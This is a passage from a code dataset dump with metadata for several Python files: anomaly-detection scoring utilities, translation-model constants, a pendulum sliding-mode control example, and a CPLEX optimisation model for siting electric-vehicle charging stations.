"line_number": 80, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions.HTTPError", "line_number": 81, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions", "line_number": 81, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 86, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 86, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 88, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 88, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 92, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 92, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 94, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions.URLRequired", "line_number": 95, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions", "line_number": 95, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 100, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 100, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 102, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 102, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 106, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 106, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 108, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions.RequestException", "line_number": 109, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions", "line_number": 109, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 114, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 114, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 116, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 116, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 118, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 118, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 120, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions.SSLCertFailed", "line_number": 121, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions", "line_number": 121, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 124, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 124, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 126, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 126, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 128, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 128, "usage_type": "name"}]} {"seq_id": "3696260834", "text": "import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.utils as v_utils\nimport matplotlib.pyplot as plt\nimport cv2\nimport math\nfrom collections import OrderedDict\nimport copy\nimport random\nimport logging\nfrom sklearn.metrics import roc_auc_score, roc_curve\n\n\ndef rmse(predictions, targets):\n return np.sqrt(((predictions - targets) ** 2).mean())\n\n\ndef psnr(mse):\n return 10 * np.log10(1 / mse)\n\n\ndef get_lr(optimizer):\n for param_group in optimizer.param_groups:\n return param_group['lr']\n\n\ndef normalize_img(img):\n img_re = copy.copy(img)\n\n img_re = (img_re - np.min(img_re)) / (np.max(img_re) - np.min(img_re))\n\n return img_re\n\n\ndef point_score(outputs, imgs):\n loss_func_mse = nn.MSELoss(reduction='none')\n error = loss_func_mse((outputs[0] + 1) / 2, (imgs[0] + 1) / 2)\n normal = (1 - torch.exp(-error))\n score = (torch.sum(normal * loss_func_mse((outputs[0] + 1) / 2, (imgs[0] + 1) / 2)) / torch.sum(normal)).item()\n return score\n\n\ndef anomaly_score(psnr, max_psnr, min_psnr):\n return ((psnr - min_psnr) / (max_psnr - min_psnr))\n\n\ndef anomaly_score_inv(psnr, max_psnr, min_psnr):\n return (1.0 - ((psnr - min_psnr) / (max_psnr - min_psnr)))\n\n\ndef anomaly_score_list(psnr_list):\n anomaly_score_list = list()\n for i in range(len(psnr_list)):\n anomaly_score_list.append(anomaly_score(psnr_list[i], np.max(psnr_list), np.min(psnr_list)))\n\n return anomaly_score_list\n\n\ndef anomaly_score_list_inv(psnr_list):\n anomaly_score_list = list()\n for i in range(len(psnr_list)):\n anomaly_score_list.append(anomaly_score_inv(psnr_list[i], np.max(psnr_list), np.min(psnr_list)))\n\n return anomaly_score_list\n\n\ndef AUC(anomal_scores, labels):\n frame_auc = roc_auc_score(y_true=np.squeeze(labels, axis=0), y_score=np.squeeze(anomal_scores))\n return frame_auc\n\n\ndef score_sum(list1, list2, alpha):\n list_result = []\n for i in range(len(list1)):\n list_result.append((alpha * list1[i] + (1 - alpha) * list2[i]))\n\n return list_result\n\n\ndef get_logger(filename, verbosity=1, name=None):\n level_dict = {0: logging.DEBUG, 1: logging.INFO, 2: logging.WARNING}\n formatter = logging.Formatter(\"[%(asctime)s][%(levelname)s] %(message)s\") # ???????????[info]?????????\n logger = logging.getLogger(name)\n logger.setLevel(level_dict[verbosity])\n\n fh = logging.FileHandler(filename, \"w\")\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n\n sh = logging.StreamHandler()\n sh.setFormatter(formatter)\n logger.addHandler(sh)\n return logger\n\n\ndef set_seed(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed) # cpu\n torch.cuda.manual_seed(seed) # gpu\n torch.cuda.manual_seed_all(seed) # all gpus\n\ndef makedir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n\ndef chose(list1,list2,th): # 0.2 预测的异常 重构的正常\n for i in range(len(list1)):\n if(list1[i]-list1[i]>=th):\n list1[i] = list2[i]\n return list1\n\ndef normalize_clip_scores(scores, ver=1):\n assert ver in [1, 2]\n if ver == 1:\n return [item / np.max(item, axis=0) for item in scores]\n else:\n return [(item - np.min(item, axis=0)) / (np.max(item, axis=0) - np.min(item, axis=0)) for item in scores]\n\n\ndef normalize_one_clip_scores(scores, ver=1):\n assert ver in [1, 2]\n if ver == 1:\n return scores / np.max(scores, axis=0)\n else:\n return (scores - np.min(scores, axis=0)) / (np.max(scores, axis=0) - np.min(scores, axis=0))\n\n\ndef normalize(sequence_n_frame, scores_appe, scores_flow, scores_comb, scores_angle, ver=2, clip_normalize=True):\n if sequence_n_frame is not None:\n if len(sequence_n_frame) > 1:\n accumulated_n_frame = np.cumsum(sequence_n_frame - 1)[:-1]\n\n scores_appe = np.split(scores_appe, accumulated_n_frame, axis=0)\n scores_flow = np.split(scores_flow, accumulated_n_frame, axis=0)\n scores_comb = np.split(scores_comb, accumulated_n_frame, axis=0)\n scores_angle = np.split(scores_angle, accumulated_n_frame, axis=0)\n\n if clip_normalize:\n np.seterr(divide='ignore', invalid='ignore')\n scores_appe = normalize_clip_scores(scores_appe, ver=ver)\n scores_flow = normalize_clip_scores(scores_flow, ver=ver)\n scores_comb = normalize_clip_scores(scores_comb, ver=ver)\n scores_angle = normalize_clip_scores(scores_angle, ver=ver)\n\n scores_appe = np.concatenate(scores_appe, axis=0)\n scores_flow = np.concatenate(scores_flow, axis=0)\n scores_comb = np.concatenate(scores_comb, axis=0)\n scores_angle = np.concatenate(scores_angle, axis=0)\n\n else:\n if clip_normalize:\n np.seterr(divide='ignore', invalid='ignore')\n\n scores_appe = np.array(normalize_one_clip_scores(scores_appe, ver=ver))\n scores_flow = np.array(normalize_one_clip_scores(scores_flow, ver=ver))\n scores_comb = np.array(normalize_one_clip_scores(scores_comb, ver=ver))\n scores_angle = np.array(normalize_one_clip_scores(scores_angle, ver=1))\n\n return scores_appe, scores_flow, scores_angle, scores_comb\n\n\ndef find_max_patch(diff_map_appe, patches=3, size=16, step=4, is_multi=False):\n assert size % step == 0\n # diff_map_appe size: batch * channel * height * width\n b_size = diff_map_appe.shape[0]\n max_mean = np.zeros([b_size, patches])\n std = np.zeros([b_size, patches])\n pos = np.zeros([b_size, patches, 2])\n\n # sliding window\n for i in range(0, diff_map_appe.shape[-2] - size, step):\n for j in range(0, diff_map_appe.shape[-1] - size, step):\n # mean and std based on patch\n curr_std = np.std(diff_map_appe[..., i:i + size, j:j + size], axis=(1, 2, 3))\n curr_mean = np.mean(diff_map_appe[..., i:i + size, j:j + size], axis=(1, 2, 3))\n for b in range(b_size):\n for n in range(patches):\n if curr_mean[b] > max_mean[b, n]:\n max_mean[b, n + 1:] = max_mean[b, n:-1]\n std[b, n + 1:] = std[b, n:-1]\n pos[b, n + 1:] = pos[b, n:-1]\n max_mean[b, n] = curr_mean[b]\n std[b, n] = curr_std[b]\n pos[b, n] = [i, j]\n break\n\n if is_multi:\n patches_mean = np.sum(max_mean)\n patches_std = np.sum(std)\n return patches_mean, patches_std\n else:\n return max_mean[:, 0], std[:, 0]\n\ndef multi_future_frames_to_scores(input):\n output = cv2.GaussianBlur(input, (5, 0), 10)\n return output\n\ndef normalize_score_clip(score, max_score, min_score):\n return ((score - min_score) / (max_score-min_score))\n\n\ndef normalize_score_list_gel(score): # normalize in each video and save in list form\n anomaly_score_list = list()\n for i in range(len(score)):\n anomaly_score_list.append(normalize_score_clip(score[i], np.max(score), np.min(score)))\n return anomaly_score_list\n\n\ndef eer(label, score):\n fpr_1, tpr_1, _ = roc_curve(label, score)\n fnr_1 = 1 - tpr_1\n eer = fpr_1[np.nanargmin(np.absolute((fnr_1 - fpr_1)))]\n return eer\n\ndef patch_max_mse(diff_map_appe, patches=3, size=16, step=4, is_multi=False):\n assert size % step == 0\n\n b_size = diff_map_appe.shape[0]\n max_mean = np.zeros([b_size, patches])\n\n # sliding window\n for i in range(0, diff_map_appe.shape[-2] - size, step):\n for j in range(0, diff_map_appe.shape[-1] - size, step):\n\n curr_mean = np.mean(diff_map_appe[..., i:i + size, j:j + size], axis=(1, 2, 3))\n for b in range(b_size):\n for n in range(patches):\n if curr_mean[b] > max_mean[b, n]:\n max_mean[b, n + 1:] = max_mean[b, n:-1]\n max_mean[b, n] = curr_mean[b]\n break\n return max_mean[:, 0] #\n\n\ndef multi_patch_max_mse(diff_map_appe):\n mse_32 = patch_max_mse(diff_map_appe, patches=3, size=32, step=8, is_multi=False)\n mse_64 = patch_max_mse(diff_map_appe, patches=3, size=64, step=16, is_multi=False)\n mse_128 = patch_max_mse(diff_map_appe, patches=3, size=128, step=32, is_multi=False)\n return mse_32,mse_64,mse_128\n\n", "repo_name": "HuYongting/AMSTE", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 8447, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.sqrt", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 23, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 72, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 85, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 85, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 85, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 87, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 90, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 94, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.seterr", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.seterr", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 195, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 211, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.nanargmin", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 231, "usage_type": "call"}]} {"seq_id": "33489530739", "text": "import torch\n\nSOS_token = \"\"\nEOS_token = \"\"\nPADD_token = \"\"\nSOS_index = 0\nEOS_index = 1\nPADD_index = 2\nMAX_LENGTH = 31\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")", "repo_name": "Octobserver/Machine-Translation-with-Deep-RNN", "sub_path": "code/Variables.py", "file_name": "Variables.py", "file_ext": "py", "file_size_in_byte": 204, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.device", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 11, "usage_type": "attribute"}]} {"seq_id": "74165435744", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 16 12:05:08 2018\n\n@author: Alexandre\n\"\"\"\n###############################################################################\nimport numpy as np\n###############################################################################\nfrom pyro.dynamic import pendulum\nfrom pyro.control import nonlinear\n###############################################################################\n\nsys = pendulum.SinglePendulum()\n\n\nctl = nonlinear.SlidingModeController( sys )\n\nctl.lam = 2.0\nctl.gain = 25.0\n\n# Set Point\nq_target = np.array([3.14])\nctl.rbar = q_target\n\n# New cl-dynamic\ncl_sys = ctl + sys\n\n# Simultation\ncl_sys.x0 = np.array([0.1,0])\ncl_sys.compute_trajectory(tf=5, n=10001, solver='euler') \n# Note: Use \"euler\" solver when using sliding mode controllers\ncl_sys.plot_trajectory('xu')\ncl_sys.plot_phase_plane_trajectory_closed_loop()\ncl_sys.plot_phase_plane()\ncl_sys.animate_simulation()", "repo_name": "alx87grd/AlexRobotics", "sub_path": "examples/by_systems/simple_pendulum/simple_pendulum_with_sliding_mode_controller.py", "file_name": "simple_pendulum_with_sliding_mode_controller.py", "file_ext": "py", "file_size_in_byte": 925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyro.dynamic.pendulum.SinglePendulum", "line_number": 14, "usage_type": "call"}, {"api_name": "pyro.dynamic.pendulum", "line_number": 14, "usage_type": "name"}, {"api_name": "pyro.control.nonlinear.SlidingModeController", "line_number": 17, "usage_type": "call"}, {"api_name": "pyro.control.nonlinear", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}]} {"seq_id": "24014909669", "text": "from docplex.mp.model import Model\nimport numpy as np\nfrom os import mkdir\nfrom time import time\nimport json\n\nfrom numpy.core.numeric import Inf\n\nfrom SingleLevel_Data import Data_SingleLevel\n\nfrom collections import OrderedDict\n\n\n\n\n\n#################################################################################################################################\nclass ChargingStationModel_SingleLevel():\n\n def __init__(self, mdl, Data, params = None):\n tic=time()\n self.mdl = mdl\n self.Data = Data\n #Default parameters\n #Filepath and name for saving log and results\n self.filepath = None\n self.filename = None\n #Solution components when using a fixed solution\n #(forces exact solution)\n self.SolutionX = None\n self.SolutionY = None\n #Heuristic solution for warmstart\n self.HeuristicSolution = None\n #Index for appending to solutions files\n self.testNumber= '-1'\n\n #CPLEX parameters\n self.threads = 8\n self.timelimit = 7200\n self.nodelimit = 9223372036800000000\n self.logdisplay = 4\n self.compressMemory = False\n\n if params:\n self.__dict__.update(params)\n\n #Set CPLEX parameters\n mdl.context.cplex_parameters.threads = self.threads\n mdl.set_time_limit(self.timelimit)\n mdl.parameters.mip.display = self.logdisplay\n mdl.parameters.mip.limits.nodes = self.nodelimit\n mdl.parameters.emphasis.memory = int(self.compressMemory)\n\n #Decision variables\n ##x,u,w, and alpha variables have too many indices to use built-in Cplex variables, so tuples must be created to use as dictionary keys.\n id_x=[(t,j,k) for j in range(Data.M) for k in range(Data.Mj[j]) for t in range(Data.T)]\n id_alpha=[(t,i,r)for i in range(Data.N) for r in range(Data.R[i])for t in range(Data.T)]\n id_u0=[]\n id_u=[]\n for t in range(Data.T):\n for i in range(Data.N):\n for r in range(Data.R[i]):\n for j in Data.C0i[t][i]:\n id_u0.append((t,j,i,r))\n for j in Data.C1i[t][i]:\n id_u.append((t,j,i,r))\n\n\n print(\"Creating variables\")\n #Binary indicating if station j has k charging outlets in year t \n mdl.x_vars=mdl.binary_var_dict(id_x, name='x')\n #Binary indicating if station j is open in year t\n mdl.y_vars=mdl.binary_var_matrix(Data.T, Data.M, name='y')\n #Continuous data variable with utility for opt-out option\n mdl.u0_vars=mdl.continuous_var_dict(id_u0, name='u0', lb=-mdl.infinity)\n #Discounted utility vars\n mdl.uBar_vars=mdl.continuous_var_dict(id_u, name='uBar', lb=-mdl.infinity) \n #Binary indicating if opt-out was selected (i.e. had highest utility)\n mdl.w0_vars=mdl.binary_var_dict(id_u0, ub=1, name='w0')\n #Binary indicating if choice j was selected (i.e. had highest utility)\n mdl.w1_vars=mdl.binary_var_dict(id_u, ub=1, name='w')\n #Continuous variables for dual objective value\n mdl.alpha_vars=mdl.continuous_var_dict(id_alpha, name='alpha', lb=-mdl.infinity)\n \n\n print(\"Variables created\")\n\n\n #Warmstart (if applicable)\n if self.HeuristicSolution is not None:\n print(\"Heuristic solution detected\")\n mdl.parameters.conflict.display = 2\n warmstart=mdl.new_solution()\n for t in range(Data.T):\n for j in range(Data.M):\n warmstart.add_var_value(mdl.y_vars[(t,j)],self.HeuristicSolution.y[(t,j)])\n for k in range(Data.Mj[j]):\n warmstart.add_var_value(mdl.x_vars[(t,j,k)],self.HeuristicSolution.x[(t,j,k)])\n\n if 'w0' in self.HeuristicSolution.__dict__:\n for t in range(Data.T):\n for i in range(Data.N):\n for r in range(Data.R[i]):\n for j in Data.C0i[t][i]:\n warmstart.add_var_value(mdl.w0_vars[(t,j,i,r)],self.HeuristicSolution.w0[(t,j,i,r)])\n for j in Data.C1i[t][i]:\n warmstart.add_var_value(mdl.w1_vars[(t,j,i,r)],self.HeuristicSolution.w1[(t,j,i,r)])\n \n mdl.add_mip_start(warmstart)\n print(\"Heuristic solution added\")\n\n #Preprocessing (if applicable)\n if Data.Preprocess_w1 is not None:\n print(\"Preprocessing detected\")\n mdl.change_var_upper_bounds([mdl.w1_vars[key] for key in Data.Preprocess_w1],0)\n print(\"Preprocessing added\")\n\n #Constraints\n print(\"Beginning constraints\")\n #Budget, year 0\n mdl.add_constraint(\n mdl.sum(Data.c[0][j]*mdl.sum(k*mdl.x_vars[(0,j,k)] for k in range(Data.Mj[j])) for j in range(Data.M))\n -mdl.sum(Data.c[0][j]*Data.x0[j] for j in range(Data.M))\n +mdl.sum(Data.f[0][j]*mdl.y_vars[(0,j)] for j in range(Data.M))\n <=Data.B[0]+mdl.sum(Data.f[0][j]*Data.y0[j] for j in range(Data.M))\n )\n\n ##Can't remove charging outlets, year 0\n mdl.add_constraints([mdl.sum(k*mdl.x_vars[(0,j,k)] for k in range(Data.Mj[j])) >= Data.x0[j] for j in range(Data.M)])\n\n ##Stations stay open, year 0\n mdl.add_constraints([mdl.y_vars[(0,j)] >= Data.y0[j] for j in range(Data.M)])\n \n for t in range(Data.T):\n if t >0:\n #Budget, year 1+\n mdl.add_constraint(mdl.sum(Data.c[t][j]*mdl.sum(k*mdl.x_vars[(t,j,k)] for k in range(Data.Mj[j])) for j in range(Data.M))\n -mdl.sum(Data.c[t][j]*mdl.sum(k*mdl.x_vars[(t-1,j,k)] for k in range(Data.Mj[j])) for j in range(Data.M))\n +mdl.sum(Data.f[t][j]*mdl.y_vars[(t,j)] for j in range(Data.M))\n <=Data.B[t]+mdl.sum(Data.f[t][j]*mdl.y_vars[(t-1,j)] for j in range(Data.M)))\n\n #Can't remove charging outlets, year 1+\n mdl.add_constraints([mdl.sum(k*mdl.x_vars[(t,j,k)] for k in range(Data.Mj[j]))>=mdl.sum(k*mdl.x_vars[(t-1,j,k)] for k in range(Data.Mj[j])) for j in range(Data.M)])\n\n ##Stations stay open, year 1+\n mdl.add_constraints([mdl.y_vars[(t,j)] >= mdl.y_vars[(t-1,j)] for t in range(1,Data.T) for j in range(Data.M)])\n\n #Pay one-time cost\n mdl.add_constraints([mdl.sum(mdl.x_vars[(t,j,k)] for k in range(1,Data.Mj[j])) == mdl.y_vars[(t,j)] for j in range(Data.M)])\n\n for i in range(Data.N):\n if len(Data.C1i[t][i]) > 0:\n #Can only select one option in choice set\n mdl.add_constraints([mdl.sum( mdl.w1_vars[(t,int(j),i,r)] for j in Data.C1i[t][i] )+ mdl.sum( mdl.w0_vars[(t,int(j),i,r)] for j in Data.C0i[t][i])\\\n == 1 for r in range(Data.R[i])], 'SelectOneOption' )\n ##Set u0\n mdl.add_constraints([mdl.u0_vars[(t,j,i,r)] == Data.d0[t][j][i][r] for j in Data.C0i[t][i] for r in range(Data.R[i])])\n \n ##Discounted utility constraints\n \n mdl.add_constraints([mdl.uBar_vars[(t,j,i,r)] >= Data.aBar[t][i] for j in Data.C1i[t][i] for r in range(Data.R[i])\n if mdl.w1_vars[(t,j,i,r)].ub >0], 'Discounted1')\n mdl.add_constraints([mdl.uBar_vars[(t,j,i,r)] <= Data.aBar[t][i]+Data.MBar[t][j][i][r]*mdl.y_vars[(t,j)] for j in Data.C1i[t][i] for r in range(Data.R[i])\n if mdl.w1_vars[(t,j,i,r)].ub >0] , 'Discounted2')\n mdl.add_constraints([mdl.uBar_vars[(t,j,i,r)] >= mdl.sum( Data.beta[t][j][i][k]*mdl.x_vars[(t,j,k)] for k in range(Data.Mj[j]) ) +Data.d1[t][j][i][r]\n - Data.MBar[t][j][i][r] * (1-mdl.y_vars[(t,j)]) for j in Data.C1i[t][i] for r in range(Data.R[i])\n if mdl.w1_vars[(t,j,i,r)].ub >0] , 'Discounted3')\n mdl.add_constraints([mdl.uBar_vars[(t,j,i,r)] <= mdl.sum( Data.beta[t][j][i][k]*mdl.x_vars[(t,j,k)] for k in range(Data.Mj[j]) )\n +Data.d1[t][j][i][r] for j in Data.C1i[t][i] for r in range(Data.R[i])\n if mdl.w1_vars[(t,j,i,r)].ub >0] , 'Discounted4')\n mdl.add_constraints([mdl.uBar_vars[(t,j,i,r)] == Data.aBar[t][i] for j in Data.C1i[t][i] for r in range(Data.R[i])\n if mdl.w1_vars[(t,j,i,r)].ub == 0] , 'Discounted5')\n\n\n ##Set dual variable to max utility, opt-out\n mdl.add_constraints([mdl.alpha_vars[(t,i,r)] >= mdl.u0_vars[(t,j,i,r)] for j in Data.C0i[t][i] for r in range(Data.R[i])])\n ##Set dual variable to max utility, public charging\n mdl.add_constraints([mdl.alpha_vars[(t,i,r)] >= mdl.uBar_vars[(t,j,i,r)] for j in Data.C1i[t][i] for r in range(Data.R[i]) if mdl.w1_vars[(t,j,i,r)].ub >0], 'Dual2')\n\n ##Set correct w value to 1, opt-out\n mdl.add_constraints([mdl.u0_vars[(t,j,i,r)] - mdl.alpha_vars[(t,i,r)] + (1 - mdl.w0_vars[(t,j,i,r)] ) * Data.mu0[t][j][i][r]\n >= 0 for j in Data.C0i[t][i] for r in range(Data.R[i])])\n ##Set correct w value to 1, public charging\n mdl.add_constraints([mdl.uBar_vars[(t,j,i,r)]- mdl.alpha_vars[(t,i,r)] + (1 - mdl.w1_vars[(t,j,i,r)] ) * Data.mu[t][i][r]\n >= 0 for j in Data.C1i[t][i] for r in range(Data.R[i]) if mdl.w1_vars[(t,j,i,r)].ub >0], 'ComplementarySlackness2')\n else:\n #Can only select one option in choice set\n mdl.add_constraints([mdl.sum( mdl.w0_vars[(t,int(j),i,r)] for j in Data.C0i[t][i])\\\n == 1 for r in range(Data.R[i])], 'SelectOneOption' )\n ##Set u0\n mdl.add_constraints([mdl.u0_vars[(t,j,i,r)] == Data.d0[t][j][i][r] for j in Data.C0i[t][i] for r in range(Data.R[i])])\n \n\n ##Set dual variable to max utility, opt-out\n mdl.add_constraints([mdl.alpha_vars[(t,i,r)] >= mdl.u0_vars[(t,j,i,r)] for j in Data.C0i[t][i] for r in range(Data.R[i])])\n\n ##Set correct w value to 1, opt-out\n mdl.add_constraints([mdl.u0_vars[(t,j,i,r)] - mdl.alpha_vars[(t,i,r)] + (1 - mdl.w0_vars[(t,j,i,r)] ) * Data.mu0[t][j][i][r]\n >= 0 for j in Data.C0i[t][i] for r in range(Data.R[i])])\n\n \n #########################################################################################################################\n #########################################################################################################################\n #Force given solution if provided\n if self.SolutionX is not None:\n for x in self.SolutionX:\n mdl.add_constraint(mdl.x_vars[x] == self.SolutionX[x])\n\n if self.SolutionY is not None:\n for y in self.SolutionY:\n mdl.add_constraint(mdl.y_vars[y] == self.SolutionY[y])\n \n ######################################################################################################################\n print(\"Constraints added\")\n \n #Objective\n print(\"Adding objective\")\n mdl.minimize(mdl.sum(mdl.sum((Data.Ni[i]/Data.R[i])*mdl.sum(mdl.w0_vars[(t,0,i,r)] for r in range(Data.R[i])) for i in range(Data.N)) for t in range(Data.T)) )\n\n toc=time()\n self.ModelCreationTime=toc-tic\n print(\"Model creation time (seconds):\",self.ModelCreationTime)\n print('Model created')\n\n\n #Solve\n print('Begining solving process')\n if self.filename is not None:\n with open(self.filepath+'/'+self.filename+\"_log.log\", \"a+\") as out:\n out.write(\"\\n\")\n out.write(\"\\n\")\n out.write(\"\\n\")\n out.write(\"Test number \"+str(self.testNumber)+\"\\n\")\n mdl.solve(agent='local',log_output=out)\n print('Solving process complete!')\n print(mdl.solve_details)\n\n print('Recovering solution')\n try:\n self.Solution = self.RecoverSolution()\n print('Solution recovered successfully!')\n FullSolution = OrderedDict()\n FullSolution['Solution'] = self.Solution.tolist()\n json.dump(FullSolution,open(self.filepath+'/'+self.filename+\".txt\", \"w+\"), indent=3)\n except Exception as e:\n print('Solution could not be recovered:')\n print(e)\n print('\\n')\n print('\\n')\n\n\n #Function to recreate the solution from the Cplex model. Number of charging outlets at each station is calculated.\n def RecoverSolution(self):\n T = self.Data.T\n Solution = np.zeros( shape = (T, self.Data.M), dtype = int) \n for x in self.mdl.find_matching_vars('x_'):\n xCoord=tuple(x.get_key())\n #xCoord: [0]=year, [1]=station, [2]=number of stations\n Solution[xCoord[0]][int(xCoord[1])] += xCoord[2]*int(x.solution_value)\n\n return Solution\n \n\n\n", "repo_name": "StevenLamontagne/EVChargingStationModel", "sub_path": "SingleLevel_Model.py", "file_name": "SingleLevel_Model.py", "file_ext": "py", "file_size_in_byte": 13635, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "7", "api": [{"api_name": "time.time", 